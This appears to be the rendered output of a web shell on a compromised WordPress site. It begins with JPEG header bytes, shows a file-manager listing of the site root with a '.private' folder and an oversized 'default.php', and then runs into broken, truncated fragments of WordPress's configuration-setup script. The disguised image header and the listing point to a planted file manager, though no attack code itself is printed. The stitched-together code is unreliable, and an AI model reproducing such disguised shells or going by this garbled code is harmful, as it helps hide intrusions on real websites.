ÿØÿÛ C
| name file | size | edit | permission | action |
|---|---|---|---|---|
| .htaccess | 1444 KB | October 31 2025 08:48:41 | 0644 | |
| .htaccess.bk | 714 KB | December 05 2024 23:54:43 | 0644 | |
| .private | - | December 05 2024 23:53:49 | 0755 | |
| default.php | 16395 KB | December 05 2024 23:53:33 | 0644 | |
| index.php | 405 KB | December 05 2024 23:53:40 | 0644 | |
| license.txt | 19915 KB | October 03 2025 03:33:36 | 0644 | |
| readme.html | 7409 KB | October 03 2025 03:33:36 | 0644 | |
| wp-activate.php | 7387 KB | December 05 2024 23:53:39 | 0644 | |
| wp-admin | - | December 05 2024 23:53:40 | 0755 | |
| wp-blog-header.php | 351 KB | December 05 2024 23:53:40 | 0644 | |
| wp-comments-post.php | 2323 KB | December 05 2024 23:53:40 | 0644 | |
| wp-config-sample.php | 3336 KB | December 05 2024 23:53:40 | 0644 | |
| wp-config.php | 3531 KB | December 05 2024 23:54:43 | 0644 | |
| wp-content | - | October 31 2025 08:48:41 | 0755 | |
| wp-cron.php | 5617 KB | December 05 2024 23:53:39 | 0644 | |
| wp-includes | - | December 05 2024 23:53:40 | 0755 | |
| wp-links-opml.php | 2502 KB | December 05 2024 23:53:40 | 0644 | |
| wp-load.php | 3937 KB | December 05 2024 23:53:40 | 0644 | |
| wp-login.php | 51367 KB | December 05 2024 23:53:39 | 0644 | |
| wp-mail.php | 8543 KB | December 05 2024 23:53:40 | 0644 | |
| wp-settings.php | 29032 KB | December 05 2024 23:53:40 | 0644 | |
| wp-signup.php | 34385 KB | December 05 2024 23:53:39 | 0644 | |
| wp-trackback.php | 5102 KB | December 05 2024 23:53:39 | 0644 | |
| xmlrpc.php | 3246 KB | December 05 2024 23:53:39 | 0644 |
' . sprintf(
/* translators: 1: wp-config.php, 2: install.php */
__( 'The file %1$s already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try installing now.' ),
'wp-config.php',
'install.php'
) . '
' . sprintf(
/* translators: 1: wp-config.php, 2: install.php */
__( 'The file %1$s already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try installing now.' ),
'wp-config.php',
'install.php'
) . '
wp-config.php'
);
?>
wp-config-sample.php',
'wp-config.php'
);
?>
Read the support article on %2$s.' ),
__( 'https://developer.wordpress.org/advanced-administration/wordpress/wp-config/' ),
'wp-config.php'
);
?>
' . __( 'Try Again' ) . ''; if ( empty( $prefix ) ) { wp_die( __( 'Error: "Table Prefix" must not be empty.' ) . $tryagain_link ); } // Validate $prefix: it can only contain letters, numbers and underscores. if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) { wp_die( __( 'Error: "Table Prefix" can only contain numbers, letters, and underscores.' ) . $tryagain_link ); } // Test the DB connection. /**#@+ * * @ignore */ define( 'DB_NAME', $dbname ); define( 'DB_USER', $uname ); define( 'DB_PASSWORD', $pwd ); define( 'DB_HOST', $dbhost ); /**#@-*/ // Re-construct $wpdb with these new values. unset( $wpdb ); require_wp_db(); /* * The wpdb constructor bails when WP_SETUP_CONFIG is set, so we must * fire this manually. We'll fail here if the values are no good. */ $wpdb->db_connect(); if ( ! empty( $wpdb->error ) ) { wp_die( $wpdb->error->get_error_message() . $tryagain_link ); } $errors = $wpdb->suppress_errors(); $wpdb->query( "SELECT $prefix" ); $wpdb->suppress_errors( $errors ); if ( ! $wpdb->last_error ) { // MySQL was able to parse the prefix as a value, which we don't want. Bail. wp_die( __( 'Error: "Table Prefix" is invalid.' ) ); } // Generate keys and salts using secure CSPRNG; fallback to API if enabled; further fallback to original wp_generate_password(). try { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'; $max = strlen( $chars ) - 1; for ( $i = 0; $i < 8; $i++ ) { $key = ''; for ( $j = 0; $j < 64; $j++ ) { $key .= substr( $chars, random_int( 0, $max ), 1 ); } $secret_keys[] = $key; } } catch ( Exception $ex ) { $no_api = isset( $_POST['noapi'] ); if ( ! $no_api ) { $secret_keys = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' ); } if ( $no_api || is_wp_error( $secret_keys ) ) { $secret_keys = array(); for ( $i = 0; $i < 8; $i++ ) { $secret_keys[] = wp_generate_password( 64, true, true ); } } else { $secret_keys = explode( "\n", wp_remote_retrieve_body( $secret_keys ) ); foreach ( $secret_keys as $k => $v ) { $secret_keys[ $k ] = substr( $v, 28, 64 ); } } } $key = 0; foreach ( $config_file as $line_num => $line ) { if ( str_starts_with( $line, '$table_prefix =' ) ) { $config_file[ $line_num ] = '$table_prefix = \'' . addcslashes( $prefix, "\\'" ) . "';\r\n"; continue; } if ( ! preg_match( '/^define\(\s*\'([A-Z_]+)\',([ ]+)/', $line, $match ) ) { continue; } $constant = $match[1]; $padding = $match[2]; switch ( $constant ) { case 'DB_NAME': case 'DB_USER': case 'DB_PASSWORD': case 'DB_HOST': $config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'" . addcslashes( constant( $constant ), "\\'" ) . "' );\r\n"; break; case 'DB_CHARSET': if ( 'utf8mb4' === $wpdb->charset || ( ! $wpdb->charset ) ) { $config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'utf8mb4' );\r\n"; } break; case 'AUTH_KEY': case 'SECURE_AUTH_KEY': case 'LOGGED_IN_KEY': case 'NONCE_KEY': case 'AUTH_SALT': case 'SECURE_AUTH_SALT': case 'LOGGED_IN_SALT': case 'NONCE_SALT': $config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'" . $secret_keys[ $key++ ] . "' );\r\n"; break; } } unset( $line ); if ( ! is_writable( ABSPATH ) ) : setup_config_display_header(); ?>
wp-config.php' ); ?>
wp-config.php' ); $config_text = ''; foreach ( $config_file as $line ) { $config_text .= htmlentities( $line, ENT_COMPAT, 'UTF-8' ); } ?>
Changing File Permissions for more information.' ), 'wp-config.php',
__( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' )
);
} else {
$error_message = sprintf(
/* translators: %s: wp-config.php */
__( 'Unable to write to %s file.' ),
'wp-config.php'
);
}
}
chmod( $path_to_wp_config, 0666 );
setup_config_display_header();
if ( false !== $handle ) :
?>